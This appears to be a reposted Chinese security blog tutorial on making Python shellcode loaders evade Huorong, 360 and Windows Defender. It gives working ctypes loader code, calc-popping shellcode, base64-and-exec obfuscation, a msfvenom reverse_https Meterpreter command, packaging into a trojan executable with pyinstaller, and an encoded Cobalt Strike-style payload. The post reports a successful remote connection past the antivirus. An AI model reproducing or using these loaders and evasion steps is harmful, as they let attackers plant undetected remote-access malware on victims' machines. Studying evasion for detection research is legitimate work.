Python免杀火绒、360和Defender

admin 2021年11月30日19:54:48安全博客Python免杀火绒、360和Defender已关闭评论70 views7208字阅读24分1秒阅读模式

简介

之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。

环境

  • Windows 10 x64
  • Python 3.8.3
  • Pyinstaller
  • 火绒版本:5.0.53.1,病毒库:2020-10-09
  • 360安全卫士:12.0.0.2003,备用木马库:2020-10-10
  • 360杀毒:5.0.0.8170

原理

杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过,因为Metasploit和CobaltStrike生成的shellcode中包含内存大小检测、网卡地址检测、编码、时区感知和获取系统信息等功能,但有时功能太多反而容易被检测,如图:

20201010134102485

20201010134102485

因此,本文通过使用base64编码混淆代码来绕过特征检测。

加载ShellCode

在C/C++语言中,通过申请内存将shellcode加载到内存中进行执行,在Python语言中通过ctypes模块将shellcode加载到内存并执行:


import ctypes
 
shellcode = b''
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(  
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),ctypes.c_int(0x40)
)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(wiseZERld),
    shellcode,
    ctypes.c_int(len(shellcode))
)
#创建线程并执行shellcode
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread( 
    ctypes.c_int(0),#指向安全属性的指针
    ctypes.c_int(0),#初始堆栈大小
    ctypes.c_int(wiseZERld),#指向起始地址的指针
    ctypes.c_int(0),#指向任何参数的指针
    ctypes.c_int(0),#创建标志
    ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(CVXWRcjqxL),
    ctypes.c_int(-1)
)

定位特征码

但上面的代码早已被提取特征码,杀毒软件会检测到,如图:

20201010134835600

20201010134835600

20201010134924534

20201010134924534

由于代码较少,可通过手工逐行删除文件定位特征码,也可以直接处理所有代码。格式化代码:

import ctypes
shellcode = b''
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))

删除第三行或第四行后发现不再报毒,所以仅将这两句进行混淆就可以。

Base64编码绕过

这里选择混淆所有代码,使用base64将申请内存、载入shellcode和执行shellcode的函数进行编码,然后使用exec函数执行代码:

import ctypes
import base64
 
#弹出计算器的shellcode
shellcode = b"x89xe5x83xecx20x31xdbx64x8bx5bx30x8bx5bx0cx8bx5b"
shellcode += b"x1cx8bx1bx8bx1bx8bx43x08x89x45xfcx8bx58x3cx01xc3"
shellcode += b"x8bx5bx78x01xc3x8bx7bx20x01xc7x89x7dxf8x8bx4bx24"
shellcode += b"x01xc1x89x4dxf4x8bx53x1cx01xc2x89x55xf0x8bx53x14"
shellcode += b"x89x55xecxebx32x31xc0x8bx55xecx8bx7dxf8x8bx75x18"
shellcode += b"x31xc9xfcx8bx3cx87x03x7dxfcx66x83xc1x08xf3xa6x74"
shellcode += b"x05x40x39xd0x72xe4x8bx4dxf4x8bx55xf0x66x8bx04x41"
shellcode += b"x8bx04x82x03x45xfcxc3xbax78x78x65x63xc1xeax08x52"
shellcode += b"x68x57x69x6ex45x89x65x18xe8xb8xffxffxffx31xc9x51"
shellcode += b"x68x2ex65x78x65x68x63x61x6cx63x89xe3x41x51x53xff"
shellcode += b"xd0x31xc9xb9x01x65x73x73xc1xe9x08x51x68x50x72x6f"
shellcode += b"x63x68x45x78x69x74x89x65x18xe8x87xffxffxffx31xd2"
shellcode += b"x52xffxd0"
 
#将base64编码的代码进行解码
func=base64.b64decode(b'Cndpc2VaRVJsZCA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludCh3aXNlWkVSbGQpLHNoZWxsY29kZSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQpDVlhXUmNqcXhMID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQod2lzZVpFUmxkKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK')
 
#执行解码后的代码
exec(func)

使用msfvenom -p windows/meterpreter/reverse_https lhost=x.x.x.x lport=xxxx -b 'x00x0ax0d' -f python,生成shellcode,替换程序中的shellcode,然后使用pyinstaller -F -w -i a3.ico horse.py打包为horse.exe。使用VirusTotal的检测,有11个引擎报毒,如图:

20201010153630208

20201010153630208

使用微步云沙箱检测,有1个报毒,但总体评估结果为安全,如图:

20201010153745772

20201010153745772

使用360安全卫士扫描结果,如图:

20201010154115479

20201010154115479

360杀毒扫描结果,如图:

20201010154245539

20201010154245539

Defender扫描结果,如图:

20201010155255651

20201010155255651

运行时Defender检测到威胁,如图:

20201010155351727

20201010155351727

20201010175318344

20201010175318344

服务端建立连接,但被Defender拦截,如图:

2020101016001163

2020101016001163

使用CobaltStrike生成的payload测试,360、火绒和Defender都检测不到,但使用VirusTotal检测有22个报毒,如图:

20201010163552269

20201010163552269

使用微步云沙箱检测结果为可疑,如图:

20201010163658246

20201010163658246

运行时Defender检测不到,成功获得连接,如图:

20201010163901381

20201010163901381

此时已成功免杀360、火绒和Defender。但VirtusTotal检测率还是有点高,使用base64编码shellcode减少特征码:

import ctypes
import base64
 
shellcode = b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAywIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpezH/6ZEBAADpyQEAAOhvL3RvQTgASxAMkZ+p7ep37I5nZavvutF74mh+EO6iWE1whnPY00prahcR88l6BRlQ2tZ2qYMonaSnUv2sS3XsZwgHjmoy9lJ2rFBHafwqBwBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMC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KSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK')
 
exec(func)

再次进行检测,如图:

20201010171114740

20201010171114740

还可以通过自定义的加密函数进行加密特征码从而绕过静态分析的杀毒软件,但混淆代码的免杀能力毕竟有限,新的特征码被提取只是时间问题。

某些Python3无法运行该代码,会报如下错误,如图:

20201011235422927

20201011235422927

但是换成Python2却可以执行,调试发现python2调用VirtualAlloc函数申请内存返回的结果数据是不超过8位的整数,而python3返回的结果是超过8位不超过16位的,通过搜索发现设置VirtualAlloc函数的返回类型和内存起始地址为c_int64或c_uint64类型即可:


# -*- coding: UTF-8 -*-
import ctypes
import base64
 
shellcode =  b""
 
 
#设置函数VirtualAlloc的返回类型为c_int64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
 
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
 
#将shellcode移动到申请的内存,起始地址为c_int64类型
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
 
#创建线程并执行
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int64(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))

参考

https://blog.csdn.net/qq_32261191/article/details/108994177

相关推荐: 隐藏 C2的几种方式

本文已加密 隐藏加速你的 C2 e119eb1da295c95738b0b95b5e5abff8d58a645e5116fafddafced491e4a2ac56ccb54ffa4f53d2dba55e821199cbf2287a8d2e8373891e601…

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月30日19:54:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Python免杀火绒、360和Defender http://cn-sec.com/archives/654928.html